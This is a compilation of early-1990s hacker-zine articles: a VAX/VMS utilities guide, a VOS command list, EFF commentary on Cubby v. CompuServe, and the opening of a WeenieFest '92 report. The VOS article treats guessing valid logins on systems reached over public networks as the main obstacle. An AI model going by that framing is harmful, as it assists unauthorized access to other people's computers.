(1/18/92 addition: Greets to everyone I met at Xmascon..including but not excluding Crimson Death, Dispater, Sterling, Mack Hammer, Erik Bloodaxe, Holistic Hacker, Pain Hertz, Swamp Ratte, G.A.Ellsworth, Phaedrus, Moebius, Lord MacDuff, Judge Dredd, and of course hats off to *Drunkfux* for organizing and taking responsibility for the whole damn thing. Hope to see all of you at SummerCon '92! Look for Cyber‑striper GIFs at a BBS near you..heh heh)

Comments, criticisms, and discussions about this file are welcome. I can be reached at:

count0@world.std.com count0@spica.bu.edu count0@atdt.org

Magic Man and I are the sysops of the BBS "ATDT"...located somewhere in Massachusetts. Great message bases, technical discussions...data made flesh...electronic underground.....our own Internet address (atdt.org)... field trips to the tunnels under MIT in Cambridge.....give it a call..

Users Guide to VAX/VMS Part 2 of 3

<:=‑‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:>\|

<:=‑‑=:>

<:=‑‑=:> >>>>>=‑* Users Guide to VAX/VMS *‑=<<<<< <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> Part II of III <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> Part C: Using the Utilities <:=‑‑=:> <:=‑‑=:> Part D: Advanced Guide to VAX/VMS <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> By Black Kat <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:>/|

Index

~~~~~

Part C contains information on the following topics:

o Help Utility o Phone Utility

o Backup Utility o Library Utility

o Mail Utility o Sort Utility

Part D contains information on the following topics:

o Subprocesses o DECnet

o Attaching to a Process o Proxy Access

o Interrupting a Process o Task‑to‑Task Communication o Batch Processing o Remote Printing

o Controlling Batch Jobs o VAXclusters

<:=‑ Part C : Using the Utilities ‑=:>

Help Utility

~~~~~~~~~~~~

The VAX/VMS Help Utility is almost like having a DCL dictionary online. It includes an explanation of each DCL command and can optionally explain valid command parameters. Help also provides information about other VAX/VMS utilities and system services.

There are two modes available for the help utility. If you know the DCL command, utility or system service you want more information about, use direct mode. If you don't know the command, use query mode. Query mode can also be used to see which other commands and other subjects are referenced by the help utility.

To use query mode, just type HELP <enter> at the DCL command level. Help will display an alphabetical listing of all DCL commands and other topics for which information is available and you will be prompted with: "Topic?"

You can exit Help by pressing <enter> or <Ctrl‑C> or <Ctrl‑Z> or get information by typing in the command or subject name followed by <enter>. When you request information on a command, Help will display details including how the command is invoked, what it does and the default values. Most topics will have subtopics available which will be listed alphabetically followed by the prompt: "COMMAND‑NAME Subtopic?"

You can select subtopic help or press <enter> to return to the "Topic?" prompt. If you want to see all the information available on a command, type in "HELP command_name ..." or "HELP command_name *".

To use direct mode, enter HELP topic_name <enter>. This will bypass the listing of available topic. Additionally, you can enter a valid DCL command with or without qualifiers in this mode. For example, to get information on the DCL SET command /TERMINAL qualifier, you could enter $ HELP SET TERMINAL. The help utility will provide information on the SET/TERMINAL command and prompt you for another subtopic since information on other qualifiers is available.

For more information and details on the help utility, you can use: $ HELP HINTS or $ HELP HELP/INSTRUCTIONS.

Backup Utility

~~~~~~~~~~~~~~

The backup utility is usually used by system managers to back up system disks, insuring a recent copy of data should the system disks become unreliable. Generally, the system disks are backed up to magnetic tape or removable disk packs, which are then removed and stored in a save location offline. Users may use the backup utility on files in their own accounts to make copies for safe keeping, transferring to another system, or for offline storage.

To use the backup utility, you have to decide what you want to back up, and how you want it done. You have the following options:

Selective : Files are backed up according to a specified criteria. Qualifiers (e.g. /DATE) and file specifications (e.g. *.TXT) are used for specifying these criteria.

File by File: Individual files or entire file directories are backed up. Directories are created when copying, unlike the copy command. Incremental : Saves file created since the most recent backup. Usually performed by system operators.

Physical : An exact duplicate of a volume is saved. All file structures are ignored and the copy is a bit‑by‑bit duplicate. Image : A functionally equivalent copy of the original volume is created. Typically done on bootable volumes and system disks.

To back up files to a subdirectory: $ BACKUP F1.TXT,F2.TXT,*.DAT [BY.JUNK]

To copy a directory tree: $ BACKUP [dir...]file_spec [dir...]file_spec

To copy disk volumes: $ MOUNT/FOREIGN DJA1: $ BACKUP/IMAGE DUA2: DUA1:

To copy to tape: $ INITIALIXE MUA0: TAPE (the first time its used) $ MOUNT/FOREIGH MUA0: MOUNT‑I‑MOUNTED, TAPE mounted on __MUA0: $ BACKUP [.DRV]MV_DYDRV.MAR MUA0:[]MV_DYDRV.MAR

A save set is a single file containing multiple files that have been backed up. To make a save set:

$ MOUNT/FOREIGN MUA0: MOUNT‑I‑MOUNTED, TAPE mounted on __MUA0: $ BACKUP DUB1:[BY.JUNK]*.*;* MUA0:08JUN.BAK/SAVE_SET

A single file can be retrieved from a save set by using the /SELECT qualifier. For example, to restore the file LOGIN.COM from the previously backed up save set:

$ MOUNT/FOREIGH MUA0: MOUNT‑I‑MOUNTED, TAPE mounted on __MUA0: $ BACKUP

__From: MUA0:08:JUN.BAK/SAVE_SET/SELECT=[BY.JUNK]LOGIN.COM __To: *.*

Listing a save set: $ MOUNT/FOREIGN MUA0: MOUNT‑I‑MOUNTED, TAPE mounted on __MUA0: $ BACKUP/LIST MUA0:08JUN.BAK/SAVE_SET

Selective backups: $ BACKUP *.*/SINCE=12‑APR‑1988 MUA0:08JUN.BAK/SAVE_SET

$ BACKUP

__From: *.*/SINCE=12‑APR‑1988/EXCLUDE=[*.TMP,*.LOG]

__To: MUA0:08JUN.BAK/SAVE_SET

The following is a list of some other qualifiers you'll find useful.

Qualifier Function

~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

/LOG Writes log message to terminal as each backup file is written. /VERIFY Verifies the copy or save set with the original after copy. /CONFIRM Display each filename and ask for confirmation before copy. /DELETE Deletes source file after destination file written.

Mail Utility

~~~~~~~~~~~~

When you receive new mail, a message will be sent to your terminal unless the /NOBROATCAST qualifier has been specified with the SET TERMINAL command. Mail is an interactive utility that understands many commands in a format identical to DCL commands. The utility is invoked by typing "$ MAIL" at the DCL command level. Mail has a built in help feature which works the same way as the VAX/VMS Help Utility. Mail may be sent interactively or directly.

Interactive implies the use of the mail utility in conversational mode by invoking mail at the DCL command level. After invoking the mail utility, use the SEND command, and mail will prompt you for the name of the user(s) you want to send the mail to, your name, the subject, and the message text which you will terminate with <Ctrl‑Z>. When you press <Ctrl‑Z> the message is sent and you are returned to the mail prompt where you can type EXIT to quit.

To send mail in direct mode from the DCL command line, use the following format: $ MAIL file_spec user /SUBJECT="character string" where "file_spec" is a valid VAX/VMS file specification containing the body of your mail message and "user" is the name of a user on your local system or remote node. The /SUBJECT qualifier is optional.

To send mail to multiple users (like a mailing list) create a file with a list of the account names of every user you want to receive the message. Then enter @FILENAME at the "To:" prompt and each user listed in the distribution list will receive a copy of your mail. A distribution list may also contain another distribution list by preceeding the second name with an at sign (@). Comments are included by using an exclamation point (!). The following is a sample distribution list:

! VAX.DIS

!

! Staff

JONES

OPER

BYNON

!

! Accounting personnel

@ACTLIST

To read your mail, just type MAIL <enter> and you will be told how many messages you have waiting. Read is the default command, so you can just press <enter> to start reading them. To reply to a message, use the REPLY or ANSWER commands and the mail utility will fill out the header information automatically. You can store your mail in folders for later reference. The system has three default folders (MAIL, NEWMAIL, and WASTEBASKET).

MAIL is the default mail folder and always exists. It is used to store mail messages after you've read them unless you file these messages in other folders you've created.

The NEWMAIL folder stores mail messages before you read them, like a mailbox. They're automatically moved to the MAIL folder after you've read them unless you specify a different destination folder with the MOVE command.

The WASTEBASKET folder is a temporary folder used to store messages that have been deleted. These messages remain in the WASTEBASKET folder until you exit the mail utility, at which time they're thrown out permanently.

To create new folders, select a message and enter the MOVE command. If you attempt to move a message to a nonexistent folder, you'll be asked if you want to create a new folder. For example:

MAIL> 11

MAIL> MOVE MEMOS

Folder MEMOS does not exist. Create it (Y/N, default is N)? Y MAIL‑NEWFOLDER, folder MEMOS created MAIL>

The SELECT command allows you to move from one folder to another. For example, if you type SELECT JUNK at the "MAIL>" prompt, you will be moved to the JUNK folder, and mail will respond with the number of messages contained in the new folder.

The DELETE command accepts a message number as a parameter or deletes the current message if a message number is not supplied. To delete a folder, just delete all the messages in that folder with the DELETE qualifier /ALL.

To log a mail message to a file, use the EXTRACT qualifier. If the /NOHEADER qualifier is used, the header information will not be included. For example: EXTRACT/NOHEADER MEMO.TXT will save the currently selected message to a file named MEMO.TXT.

For more information on the mail utility, use mail's HELP command.

Phone Utility

~~~~~~~~~~~~~

The VAX/VMS Phone Utility allows you to talk to other users on your system. It simulates a real telephone with such features as call holding, conference calls and telephone directories. The Phone utility only works with VT100, VT200 or compatible terminals.

To call someone with the phone utility, enter "$ PHONE username" where username is the person you want to talk to. Your screen will split horizontally in half and indicate that the phone utility is ringing the other person. Your half of the conversation will be displayed on the top of the screen and the other person's will appear on the lower half.

The phone utility may also be used interactively by entering "$ PHONE", and you will now be given the phone prompt (%). You can enter commands directly now (e.g. "% DIRECTORY"). The phone utility has an online help facility just like the mail utility.

Library Utility

~~~~~~~~~~~~~~~

Sometimes its easier to maintain a single file instead of a group of related files. The VAX/VMS Library Utility lets you create and maintain a specially formatted file called a library in which you can store groups of single files called modules. Predefined libraries include text, help, object, sharable image and macro. Many VAX/VMS utilities such as HELP and LINK are capable of processing library files. Unless you're a programmer or system manager, you'll probably only use text and help libraries.

To create a library use the LIBRARY command's /type qualifier and the /CREATE qualifier. The /type qualifiers are: /TEXT, /SHARE, /HELP, /OBJECT, /MACRO. For example to create a text library named BOOK.TLB:

$ LIBRARY/TEXT/CREATE BOOK.

You may optionally specify a list of files to be included in a library when it is created. For example:

$ LIBRARY/TEXT/CREATE BOOK TOC,C1,C2,INDEX

To list the names of modules in a library, use the /LIST qualifier:

$ LIBRARY/TEXT/LIST BOOK

Directory of TEXT library BOOK.TLB;1 on 12‑JUN‑1989 14:12:07 TOC

C1

C2

INDEX

You can also display a history of updates made to the library by using the /HISTORY qualifier with the /LIST qualifier.

To add modules to an existing library, use the /INSERT qualifier:

$ LIBRARY/TEXT/INSERT BOOK CH3

To update a module in a library, do the following:

o Extract the module to be updated with the /EXTRACT qualifier. o Make the necessary changes.

o Write over the old module with the /REPLACE qualifier.

For example: $ LIBRARY/TEXT/EXTRACT BOOK CH2

$ EDIT CHAP2.TXT

.

. (edit the file)

.

$ LIBRARY/TEXT/REPLACE BOOK CH2

Sort Utility

~~~~~~~~~~~~

The VAX/VMS Sort Utility will reorganize records within a file. The simplest form of the sort command will organize records in ascending alphabetical order. For example, to sort BOOK.TXT, you could issue the command:

$ SORT BOOK.TXT SORTED.TXT

The Sort utility sorts on the first character of the field in each record in the input file. If there is more than one field or column in a record, the entire record is ordered, not just the first field.

Here's an example of sorting in descending order numerically with multiple fields. The sample data file JUNK.TXT contains two fields of data. The first field contains a name, and the second field, starting in column 9 contains the two‑digit number we're sorting by:

PAT 47

PAT 47

JIM 09

TOM 23

RICH 43

GARY 02

KURT 13

KEVIN 27

Sort the file: $ SORT/KEY=(POSITION=9,SIZE=2,DESCENDING) JUNK.TXT SORTED.TXT

The sorted file (SORTED.TXT) will now look like this:

PAT 47

RICH 43

KEVIN 27

TOM 23

KURT 13

JIM 09

GARY 02

<:=‑ Part D : Advanced Guide to VAX/VMS ‑=:>

Subprocesses

~~~~~~~~~~~~

A major benefit of the VAX/VMS operating system is its support of multiprocessing. This is not restricted to multiple users logged into different terminals however. VAX/VMS users may create multiple processes known as subprocesses from within their main processes.

The DCL SPAWN command is used to create a subprocess. The SPAWN command will create a subprocess with the attributes (default directory, privileges, memory, etc.) of its parent process unless otherwise specified. For example:

$ SPAWN

% DCL‑S‑SPAWNED, process BYNON_1 spawned

% DCL‑S‑ATTACHED, terminal now attached to process BYNON_1

In this case, the parent process is put into hibernation, the subprocess is given control of the keyboard, and we are left at the DCL prompt. You can now enter any DCL commands, utilities, or other programs. To return to the parent process, just $ LOGOUT of the subprocess:

$ LOGOUT

Process BYNON_1 logged out at 12‑JUL‑1981 13:04:17.10

$ DCL‑S‑RETURNED, control returned to process BYNON

The SPAWN qualifier /NOLOG can be used to suppress the informational messages generated when a subprocess is created or logged out. DCL Commands, procedures and VAX/VMS images (utilities and programs) may be executed directly with SPAWN by entering the correct syntax for the command or procedure after the SPAWN command. For example: $ SPAWN/NOLOG MAIL

If you have a task that can execute without user intervention (e.g. a program compiler), you can spawn a task to run as a background process to your current process. For example: $ SPAWN/NOWAIT FORTRAN VAXBBS

The SPAWN qualifier /NOWAIT spawns the task to run concurrently (parallel) to the parent process. Both processes will share the terminal and any messages >from the background task will be displayed at the terminal. To avoid possible conflicts, use the /OUTPUT qualifier:

$ SPAWN/NOWAIT/OUTPUT=COMPILE.LOG FORTRAN.VAXBBS

When the job in the subprocess is complete it will terminate and be removed >from the system.

ATTACHing to a Process

~~~~~~~~~~~~~~~~~~~~~~

You can use the DCL ATTACH command to connect your keyboard to any process or subprocess you've created. To exit from BYNON_1 back to BYNON with the ATTACH command, enter "$ ATTACH BYNON" and the subprocess hibernates while you are returned to the parent process.

Interrupting a Process

~~~~~~~~~~~~~~~~~~~~~~

You can interrupt a process at anytime to create a subprocess by pressing <Ctrl‑Y> and then using the SPAWN command. When you're done working with the subprocess and have returned to the interrupted process, type CONTINUE to start processing again where you left off. Some VAX/VMS utilities, such as MAIL, support SPAWN intrinsically, so you can spawn a process within these utilities by entering the SPAWN command without pressing <Ctrl‑Y> first.

Batch Processing

~~~~~~~~~~~~~~~~

The SUBMIT command was briefly discussed in Part II: Programming the VAX. A batch job is one or more DCL command procedures that execute from a detached process with your privileges and quotas. The controller of the process is the batch queue which accepts jobs via the SUBMIT command. Batch jobs execute without user interaction, permitting you to use your terminal for interactive work while the system executes the batch job (command procedure). Batch jobs are used to execute tasks that take a long time to run, use many system resources, or need to be scheduled to execute at a specific time.

The SUBMIT command will enter a command procedure to the default batch queue (SYS$BATCH) if a specific queue is not provided. A command procedure submitted for batch execution is given a job name which defaults to the command procedure name unless otherwise specified. The entry number given to the job is used to control it (delete, rename, etc.)

Controlling Batch Jobs

~~~~~~~~~~~~~~~~~~~~~~

You can specify a name for a batch job with the /NAME qualifier:

$ SUBMIT BACKUP /NAME=DAILY_BACK

You may also execute more than one command procedure by separating the procedure names with a comma:

$ SUMBIT SORT_DATA,REPORT /NAME=WEEKLY_REPORT

To schedule a batch job to execute after a specific time:

$ SUMBIT CLEANUP /AFTER=11:40

Job CLEANUP (queue SYS$BATCH, entry 39) holding until 1‑JUN‑1989 11:40

To hold a job in the queue to be released later:

$ SUMBIT REMINDER /HOLD

Job REMINDER (queue SYS$BATCH, entry 12) holding

$

$ SET QUEUE/ENTRY=32/RELEASE SYS$BATCH

To submit a job to a different queue: $ SUBMIT TESTJOB /QUEUE=SLOW

To lower the priority (e.g. if it's CPU intensive):

$ SUBMIT CRUNCH /PRIORITY=2

To pass parameters: $ SUBMIT COMPILE / PARAMETERS=(WINDOWS,MISC,DISP_IO)

To disable the automatic printing of the batch job's log (file instead):

$ SUBMIT GOJOB /NOPRINT /LOG_FILE=DUA2:[BYNON]

This will create a file DUA2:[BYNON]GOJOB.LOG. If the /NOPRINT qualifier is not specified, the log file will be printed and deleted. To print and keep the log file, use the /KEEP qualifier with the /LOG_FILE qualifier.

After you submit a procedure to a batch queue, you can monitor its status and job characteristics by using the SHOW QUEUE command. This will display the name, entry number and status of all the jobs you have in queue. The /ALL qualifier will display all jobs you have enough privilege to see, and the /FULL qualifier provides more information about jobs, such as operating characteristics and submission time.

You can use the SET QUEUE/ENTRY command to modify a job's priority (/PRIORITY), name (/NAME), or status (/RELEASE or /AFTER). For example:

$ SET QUEUE /ENTRY=217 /PRIORITY=2 SYS$BATCH

Use the DELETE /ENTRY command to delete jobs: $ DELETE /ENTRY=18 SYS$BATCH

Using DECnet

~~~~~~~~~~~~

DECnet uses the standard VAX/VMS file specifications for remote file access. In addition to a node specification, you may also include access control information (username and password) in quotes. For example:

BURG"JONES MYPW"::DUA2:JUNK.TXT

| | | | |

| | | | +‑‑‑‑ Filename.Extension

| | | |

| | | +‑‑‑‑‑‑‑‑‑‑ Device name

| | |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Password

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Username

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Node name

Unless a specific DECnet account exists on the host node, or proxy exists, you must supply access control information to execute a command on a remote system. (e.g. $ TYPE BURG""JONES MYPW"::DUA2:JUNK.TXT)

Proxy Access

~~~~~~~~~~~~

Because including access control information in a command string is a security risk, Digital provides proxy access, which works by keeping a database of users and hosts who may gain access to the system via DECnet. The format of the database is: SYSTEM::REMOTE_USERNAME LOCAL_USERNAME.

Task‑to‑Task Communication

~~~~~~~~~~~~~~~~~~~~~~~~~~

This is a feature of DECnet which allows programs on one system to communicate with programs on another (e.g. the DCL TYPE command) To execute a procedure on a remote system, use the TYPE command with the TASK=xxx parameter. For example:

$ TYPE VAX1::"TASK=SHOW_USERS"

To show the users on a remote system you would write a command procedure something like this:

$! Show_Users.Com

$!

$ IF FMODE() .EQS. "NETWORK" THEN GOTO NETWORK

$ SHOW USERS

$ EXIT

$ NETWORK:

$ DEFINE/USER_MODE SYS$OUTPUT SYS$NET

$ SHOW USERS

$ EXIT

Since SYS$OUTPUT is redirected to SYS$NET, the output is redirected to your terminal over DECnet. Task‑to‑Task communication can be simple (like Show_Users) or complicated (like programs passing data back and forth).

Remote Printing

~~~~~~~~~~~~~~~

If your DECnet network contains a LAN such as Ethernet, you'll probably have to share printers with other nodes on the network. The easiest way to print a file is to copy it directly to the print device. This works fine as long as the device is spooled and set up with world write privileges. For example: $ COPY JUNK.TXT BURG::LCA0: will copy the file JUNK.TXT to the device LCA0: on node BURG.

Another way to print is to use the DCL PRINT/REMOTE command. However, the file must be located on the remote system to use this, which is inconvenient if the file you're printing is on the local system. You can still do it though:

$ COPY JUNK.TXT BURG::[BYNON]

$ PRINT /REMOTE BURG::[BYNON]JUNK.TXT

Job JUNK (queue SYS$PRINT, entry 512) started on LCA0

$ DELETE BURG::[BYNON]JUNK.TXT

VAXclusters

~~~~~~~~~~~

The main purpose of a VAXcluster is high processor ability, shared resources, and a single security and management area. There are two basic type of VAXclusters, heterogeneous and homogeneous, but a mix of the two is possible. The main difference between these types is how they share resources, specifically the VAX/VMS OS environment.

The VAX/VMS OS environment is identical on each cluster in a homogeneous VAXcluster. This is done by using a common system disk for all the nodes. User accounts, system files, queues and storage devices are shared, and all of the computers behave the same way.

In a heterogeneous VAXcluster, the environment on each system is different. Each VAX has its own system disk, user accounts and system files. Queues and storage devices may or may not be shared. Users can work in different operating environments, depending on the system they're using.

Usually a VAXcluster is accessed by an Ethernet‑based terminal server. Using a terminal server, a user can establish a session with any VAXcluster member, and the connection is identical to that of a directly connected terminal. However, terminal sessions can support multiple simultaneous sessions to different nodes. In the unlikely event that a VAXcluster is set up with directly connected terminals and you need to access a different system, you can DECnet via the SET HOST facility. All VAXcluster systems support DECnet within the cluster.

VAXcluster members (nodes) often share processing resources through the use of print and batch queues known as cluster‑wide queues, which are used the same as a normal queue. The only extra information you need is the queue name. A list of all the queues in a cluster can be called up with the DCL SHOW QUEUE command. If you submit a job to a cluster‑wide queue, you must insure that the node on which it resides has access to the file you want to print or the command procedure you want processed.

Basic Commands for the VOS System

Volume Four, Issue Thirty‑Seven, File 8 of 14

################

#*# Basic Commands #*#

#*# for the VOS #*#

#*# System #*#

################

Written by Dr. No‑Good

[Echo]

Introduction

~~~~~~~~~~~~

Ok, well this is a simple text file that explains the basic commands used by a VOS system. VOS stands for Virtual Operating System and it is mainly used by businesses but other groups have used it too.

If you have any questions, you can reach me at this fine system:

Legion (202)337=2844

or if you have any questions you can e‑mail the me at:

Internet: ukelele!kclahan@UUNET.UU.NET

Special Thanks to: Nat X, Beta Raider, Tomellicus and the anonymous site of my humble work.

$Note$

All material in this t‑file is for informational purposes only. Any abuse of this information is probably against the law and the authors of this text file are not responsible for the reader's actions.

(***************************************

Ok, well VOS systems can be found in various systems around the world and on many of the nets such as TELENET. You can recognize a VOS system at its prompt. Which looks like this:

Prompt‑> (Name of System)

System ???, VOS Release v.(version), Module ???

(Or it just says something about a Release ver# and Module#)

After getting the log‑on message you come to the hard part, getting a valid user/password combination. To log‑in, you type:

Login <name> <password> <CRT>

or

Login <CRT>

'User_name:' <name>

'Password?' <password>

(by the way, <CRT> means enter and it comes after something you have to type and words in '' mean that the computer is displaying that)

When you get a valid name and password, it will say:

<name> logged in on <module#> at <year>‑<month>‑<day> at <time> ETA.

(then it runs start_up.cm)

(***************************************

Commands

~~~~~~~~

HELP = To get an on‑line help directory.

LIST or LS = To list contents of the directory. ‑dirs = the subdirectories. ‑dirs <dir> = To confirm a directory exists.

CHANGE_CURRENT_DIR or CCD = To change directory.

DISPLAY <file> = To view the contents of a file. ‑match <string> = To find a string in the file.

SEND_MESSAGE <name> <msg> = To make a message appear on the receiver's

screen. It must be 80 chars. or less.

CALL_THRU = To connect your login terminal to a remote

host as a login terminal or as a slave.

SET_TERMINAL_PARAMETERS = To define the operating features of your

terminal such as scrolling, length, etc.

LOCATE_FILES <file names> = To find the location of file(s) in the system.

WHO = To list the current users of the system.

LIST_MODULES = To show which modules are running.

DISPLAY_DIR_STATUS = It gives information about when last saved,

when it was created, who created, and when

it was last used or modified.

DISPLAY_CURRENT_DIR = It shows you which directory you are in.

DISPLAY_ACCESS_LIST = To show you the access control lists(ACL) for

a set of files or directories.

DISPLAY_DEFAULT_ACCESS = To display the default access control list for

a set of directories you specify.

GIVE_ACCESS = To give a user/group access to a file or

directory.

GIVE_DEFAULT_ACCESS = To add entries to the default ACL or a

directory or set of directories.

PROPAGATE_ACCESS = To copy a directory(DIR)'s access to all the

directories in the subhierarchy.

REMOVE_ACCESS = To remove entries from the ACL of a file or

directory, or a set of such objects.

REMOVE_DEFAULT_ACCESS = To remove entries from the default ACL of a

directory or a set of directories.

EDIT = To edit or create a file.

(We haven't been able to figure it out yet)

BIND = To make an .OBJ file a .PM which can be run.

ANY_NAME.PM = .PM stands for program module and it is like a

.COM or .EXE executable file.

BATCH = To run a batch of .PM commands.

UPDATE_BATCH_REQUESTS = To update the batch queue.

CANCEL_BATCH_REQUESTS = To totally cancel all programs in the batch

queue.

LIST_BATCH_REQUESTS = To list the programs in the batch queue.

RESERVE_DEVICE = To reserve a device for the batch queue.

(Used by administrators when they manage

batch processing at a site)

CANCEL_DEVICE_RESERVATION = To cancel the device reservation.

MOVE_DEVICE_RESERVATION = To move the device reservation to another

path.

DISPLAY_BATCH_STATUS = To display the status of the batch process.

COMPARE_FILE = To compare two files against each other.

COPY_FILE = To copy a file to another file or directory.

LOCATE_FILE = To locate the directory the file is in.

RENAME = To change the name of a file.

MOVE_FILE = To move a file to another directory.

DELETE_FILE = To delete a file.

SET_EXPIRATION_DATE = To set a date on the file so it won't allow

anybody to erase it before that date.

CREATE_FILE = To create and name a new file.

CREATE_INDEX = To create a new index for a file.

CREATE_DELETED_RECORD_INDEX = To create a list of reusable locations in a

file.

CREATE_RECORD_INDEX = To create an index used to map records into

a file and re‑use space made available by

deletions.

(Once created, it is updated forever.)

DELETE_INDEX = To delete a set of indexes to a file.

DISPLAY_FILE_STATUS = To display information about a set of files

that you specify.

DUMP_FILE = To dump the contents of a file in HEX and

ASCII onto the screen for debugging.

DUMP_RECORDS = To dump one or more records in a fixed,

sequential, relative, or stream file.

ENFORCE_REGION_LOCKING = To turn mandatory region locking on/off for

one or more stream files.

SET_FILE_ALLOCATION = To set the number of additional disk blocks

that the operating system allocates for a

file each time the file needs more disk

space.

SET_IMPLICIT_LOCKING = To turn implicit locking on/off for a file or

files. When it is on, the system overrides

an attempt to open the file with a

different locking specification.

(***************************************

$Note$

If you need any more help with the commands please try their on‑line help program by typing HELP when you are logged in or HELP <Command> and please excuse the format of the command listings but if you would like a better listing look for the COMPLETE informational guide to VOS systems by Dr. No‑Good.

(***************************************

Security

~~~~~~~~

The basic security for VOS uses ACL or ACCESS_CONTROL_LISTS. These are lists that the creator of a directory or file make by using the GIVE_ACCESS command. There are four kinds of security you can have. They are as follows:

For file security:

NULL ‑+‑ That means you can't do anything with it. READ ‑+‑ You can READ it but not modify it. WRITE ‑+‑ That means you have READ and WRITE access to it so you can modify it.

EXECUTE ‑+‑ That means they can read it and run it.

For directory security:

MODIFY ‑+‑ That means you can add, remove, change, and

execute files in the directory.

STATUS ‑+‑ That means you can display_dir_status and

view the current status of the directory.

NULL ‑+‑ That means you can not access the directory.

If you don't have the appropriate security for the directory or file it is because the owner/creator of the file or directory doesn't have you on the list and since this informational file doesn't contain the information needed to get access to files that you haven't been given access to then it is advisable to look for more informational files from [ECHO].

The CompuServe Case

Volume Four, Issue Thirty‑Seven, File 9 of 14

THE COMPUSERVE CASE

A STEP FORWARD IN FIRST AMENDMENT PROTECTION FOR ONLINE SERVICES

Presented by Electronic Frontier Foundation

Introduction

~~~~~~~~~~~~

by Mike Godwin (mnemonic@eff.org) in EFFector Online 3.03

By now you may have heard about the summary‑judgment decision in Cubby, Inc. v. CompuServe, a libel case. What you may not know is why the decision is such an important one. By holding that CompuServe should not be liable for defamation posted by a third‑party user, the court in this case correctly analyzed the First Amendment needs of most online services. And because it's the first decision to deal directly with these issues, this case may turn out to be a model for future decisionsin other courts.

The full name of the case, which was decided in the Southern District of New York, is Cubby Inc. v. CompuServe. Basically, CompuServe contracted with a third party for that user to conduct a special‑interest forum on CompuServe. The plaintiff claimed that defamatory material about its business was posted a user in that forum, and sued both the forum host and CompuServe. CompuServe moved for, and received, summary judgment in its favor.

Judge Leisure held in his opinion that CompuServe is less like a publisher than like a bookstore owner or book distributor. First Amendment law allows publishers to be liable for defamation, but not bookstore owners, because holding the latter liable would create a burden on bookstore owners to review every book they carry for defamatory material. This burden would "chill" the distribution of books (not to mention causing some people to get out of the bookstore business) and thus would come into serious conflict with the First Amendment.

So, although we often talk about BBSs as having the rights of publishers and publications, this case hits on an important distinction. How are publishers different from bookstore owners? Because we expect a publisher (or its agents) to review everything prior to publication. But we *don't* expect bookstore owners to review everything prior to sale. Similarly, in the CompuServe case, as in any case involving an online service in which users freely post messages for the public (this excludes Prodigy), we wouldn't expect the onlinecommunications service provider to read everything posted *before* allowing it to appear.

It is worth noting that the Supreme Court case on which Judge Leisure relies is Smith v. California ‑‑ an obscenity case, not a defamation case. Smith is the Supreme Court case in which the notion first appears that it is generally unconstitutional to hold bookstore owners liable for content. So, if Smith v. California applies in a online‑service or BBS defamation case, it certainly ought to apply in an obscenity case as well.

Thus, Cubby, Inc. v. CompuServe sheds light not only on defamation law as applied in this new medium but on obscenity law as well. This decision should do much to clarify to concerned sysops what their obligations and liabilities are under the law.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Highlights of the CompuServe Decision

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Danny Weitzner (djw@eff.org) in EFFector Online 3.03

"CompuServe's CIS [CS Information Service] product is in essence an electronic, for‑profit library that carries a vast number of publications and collects usage and membership fees from its subscribers in return for access to the publications. CompuServe and companies like it are at the forefront of the information industry revolution. High technology has markedly increased the speed with which information is gathered and processed; it is now possible for an individual with a personal computer, modem, and telephone line to have instantaneous access to thousands of news publications from across the United States and around the world. While CompuServe may decline to carry a given publication altogether, in reality, once it does decide to carry a given publication, it will have little or no editorial control over that publication's contents. This is especially so when CompuServe carries the publication as part of a forum that is managed by a company unrelated to CompuServe. "... CompuServe has no more editorial control over ... [the publication in question] ... than does a public library, book store, or newsstand, and it would be no more feasible for CompuServe to examine every publication it carries for potentially defamatory statements than it would for any other distributor to do so."

"...Given the relevant First Amendment considerations, the appropriate standard of liability to be applied to CompuServe is whether it knew or had reason to know of the allegedly defamatory Rumorville statements."

Cubby, Inc. v. CompuServe, Inc. (90 Civ. 6571, SDNY)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

For the full opinion, please see:

CUBBY, INC., a Corporation d/b/a SKUTTLEBUT, and ROBERT G. BLANCHARD, Plaintiffs, v. COMPUSERVE INC., d/b/a RUMORVILLE, and DON FITZPATRICK, individually, Defendants

No. 90 Civ. 6571 (PKL)

UNITED STATES DISTRICT COURT FOR THE SOUTHERN DISTRICT OF

NEW YORK

October 29, 1991, Decided October 29, 1991, Filed

PWN Special Report VI on WeenieFest '92

PWN ^*^ PWN ^*^ PWN { WeenieFest'92 } PWN ^*^ PWN ^*^ PWN

^*^

PWN P h r a c k W o r l d N e w s PWN

^*^ ~~~~~~~~~~~ ~~~

PWN Special Edition Issue Five PWN

^*^

PWN "WeenieFest '92" PWN

^*^

PWN ~A Meeting With John Markoff~ PWN

^*^

PWN Written by Count Zero PWN

^*^

PWN ^*^ PWN ^*^ PWN { WeenieFest'92 } PWN ^*^ PWN ^*^ PWN

WeenieFest '92: A Meeting With John Markoff Co‑Author of CYBERPUNK: Outlaws and Hackers on the Computer Frontier

..oooOO Count Zero OOooo..

count0@world.std.com

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

